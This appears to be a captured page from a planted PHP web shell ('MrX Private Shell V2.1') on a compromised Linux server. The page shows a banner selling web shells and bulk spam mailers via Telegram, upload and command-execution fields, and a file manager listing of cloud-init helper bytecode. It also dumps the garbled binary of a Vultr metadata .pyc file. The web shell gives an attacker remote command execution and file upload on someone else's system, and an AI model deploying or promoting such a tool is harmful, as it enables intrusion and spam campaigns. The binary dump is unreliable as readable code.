__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h����SSKrSSKrSSKrSSKJr SSKJr SSKJrJ	r	J
r
JrJr SSK
Jr SSKJr \R""\5r\"5SSj5rSrS	rS
rSrSrS
r\"5S5rSrSrSSjrSrSr Sr!g)�N)�	lru_cache)�
exceptions)�dmi�net�subp�
url_helper�util)�NoDHCPLeaseError)�EphemeralDHCPv4c	��[S5n[5HLn[UUSU0/S9 [XX4U5n	[R
"U	5n
[
U
5 U
sSSS5 s $ Ue!,(df   Ma=f![[R[[R4a#n[RSU5 UnSnAM�SnAff=f)NzFailed to DHCP�url)�iface�connectivity_urls_datazDHCP Exception: %s)�RuntimeError�get_interface_listr�
read_metadata�json�loads�refactor_metadatar
r�ProcessExecutionErrorr�RequestException�LOG�error)�distror
�timeout�retries�sec_between�agent�tmp_dir�	exceptionr�v1�metadata�excs            �A/usr/lib/python3/dist-packages/cloudinit/sources/helpers/vultr.py�get_metadatar%s���
�-�.�I�$�%��	� ���).���~��#�3��u�M���:�:�b�>��!�(�+����&�*�O�'���
��&�&���'�'�	
�	�
�I�I�*�C�0��I��	�s4�A:�0A(�	A:�(
A7	�2A:�7A:�:.C�(C�Cc�|�USUS'USUS'USSnSUS;aUSSnUR5US'g)Nzinstance-v2-idzinstance-id�hostnamezlocal-hostname�region�
regioncode�countrycode)�lower)r"r(s  r$rr5s]��&�'7�8�H�]��!)�*�!5�H�
��
�h�
��
-�F����*�*��(�#�M�2������H�X��c��/nSn[RRU5(ai[R"USSS9nURR5H5nUR
5n[U5S:�dM$URU5 M7 U(d5[R"5HnSU;aMURU5 M U$![a n[RSU5 SnANcSnAff=f)Nz!/opt/vultr/find_candidate_nics.shT)�capture�shellrz(find_candidate_nics script exception: %s�dummy)�os�path�existsr�stdout�
splitlines�strip�len�append�	Exceptionrrr�find_candidate_nics)�ifaces�
nic_script�out�liner�es      r$rr?s����F�	A�8�
�
�7�7�>�>�*�%�%��)�)�J��D�A�C��
�
�-�-�/���
�
����u�:��>��M�M�%�(�0���,�,�.�E��%����M�M�%� �	/��M���A��	�	�<�a�@�@��A�s�A6C�>C�
C;�C6�6C;c�\�[R"S5[R"S5S.$)Nzsystem-manufacturerzsystem-serial-number)�manufacturer�subid)r�
read_dmi_data�r,r$�get_sysinforE\s*���)�)�*?�@��"�"�#9�:��r,c�(�[5SS:wagg)NrA�VultrTF)rErDr,r$�is_baremetalrHds���}�^�$��/��r,c�|�[5nUSS:XagS[R"5R5;agg)NrArGT�vultrF)rEr	�get_cmdline�split)�sysinfos r$�is_vultrrNks;���m�G��~��'�)���$�"�"�$�*�*�,�,��r,c���SU-nSUS.n[R"UUUUUS9nUR5(d[SU-UR5eUR
R
5$)Nz
%s/v1.json�	cloudinit)zMetadata-Tokenz
User-Agent)rr�headersrz!Failed to connect to %s: Code: %s)r�readurl�okr�code�contents�decode)r
rrrrrQ�responses       r$rrzsv��
��
�C�"-�E�B�G��!�!�������H��;�;�=�=��/�#�5�x�}�}�
�	
����#�#�%�%r,c�,�[R"5$�N)r�get_interfaces_by_macrDr,r$�get_interface_mapr[�s���$�$�&�&r,c�D�[5nX;agURU5$rY)r[�get)�mac�macs_to_nics  r$�get_interface_namer`�s"��#�%�K�
����?�?�3��r,c�*�SSSS/S./S.n[U5S:�a![USSS	9nUS
RU5 [S[U55H>nXnUR	S5(aM[U5nUS
RU5 M@ U$)N��
nameserverz108.61.10.10z2001:19f0:300:1704::6)�type�address)�version�configrT)�primaryrg�unconfigured)r7�generate_interfacer8�ranger])�
interfaces�network�public�i�	interface�privates      r$�generate_network_configrr�s����%�*�,C�D�
�
��G��:����#�J�q�M�4�@����� � ��(��1�c�*�o�
&���M�	��=�=��(�(��$�Y�/����� � ��)�'��Nr,c��[US5nU(d[SUS-5eUSUSS.nU(aSUS'SSS	.S
SS	./US'U(dSSUS
SUS
SS./US'[X5 [X5 U$)Nr^�.Interface: %s could not be found on the system�physical)�namerd�mac_addressrb�	accept-ra�dhcp�auto)rd�control�
ipv6_slaac�subnets�static�ipv4re�netmask�rdr{rer�)r`r�generate_interface_routes�'generate_interface_additional_addresses)rprh�interface_name�netcfgs    r$rjrj�s���'�	�%�(8�9�N���<�y��?O�O�
�	
�
�� ��'��F����{����/�!�f�5�
��y��
�!�!�$�V�,�Y�7�$�V�,�Y�7�	
�
��y���i�0�+�I�>��Mr,c�f�SU;aUSUS'SU;aUSUS'SU;aUSUSSS'gg)N�mturx�routesr}rrD)rpr�s  r$r�r��sU���	��!�%�(��u�
��i��'��4��{���9��)2�8�)<��y��!��X�&�r,c��[USS5nSU;aDUS:�a>USSH2nSSUSUSS.nS	U;aUS	US	'US
RU5 M4 [USS5nSU;aLUS:�aEUSSH8nSSUS
<SUS<3S.nS	U;aUS	US	'US
RU5 M: ggg)Nr�
additionalrr~rzrer�r�r�r}�ipv6�static6rm�/�prefix)rdr{re)r7r8)rpr��additional_countr��adds     r$r�r��s���9�V�,�\�:�;��
���/�!�3�#�F�+�L�9�J� �!�%�i�0�%�i�0�	�C��:�%� *�8� 4��H�
��9��$�$�S�)�:��9�V�,�\�:�;��
���/�!�3�#�F�+�L�9�J�!�!��i�(�*�X�*>�@��C��:�%� *�8� 4��H�
��9��$�$�S�)�:� 4�r,c��USH8nUSS:waM[US5nU(d[SUS-5eX!S'M: g)Nrgrdrurwrtrv)r`r)r�rpr�s   r$�add_interface_namesr�sZ���H�%�	��V��
�*��+�I�m�,D�E����@��M�*�+��
�+�&��&r,rY)F)"r�loggingr1�	functoolsr�requestsrrPrrrrr	�cloudinit.net.dhcpr
�cloudinit.net.ephemeralr�	getLogger�__name__rr%rrrErHrNrr[r`rrrjr�r�r�rDr,r$�<module>r�s���
��	���6�6�/�3�����!����?C��
��@(��:���&�0��'�
�'�
 ��<"�J	=�*�F
+r,

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 165 B 0644
akamai.cpython-313.pyc File 1.93 KB 0644
aliyun.cpython-313.pyc File 5.91 KB 0644
azure.cpython-313.pyc File 46.53 KB 0644
cloudsigma.cpython-313.pyc File 4.71 KB 0644
digitalocean.cpython-313.pyc File 8.25 KB 0644
ec2.cpython-313.pyc File 9.33 KB 0644
hetzner.cpython-313.pyc File 1.14 KB 0644
netlink.cpython-313.pyc File 13.02 KB 0644
openstack.cpython-313.pyc File 28.2 KB 0644
upcloud.cpython-313.pyc File 6.95 KB 0644
vultr.cpython-313.pyc File 8.2 KB 0644
Filemanager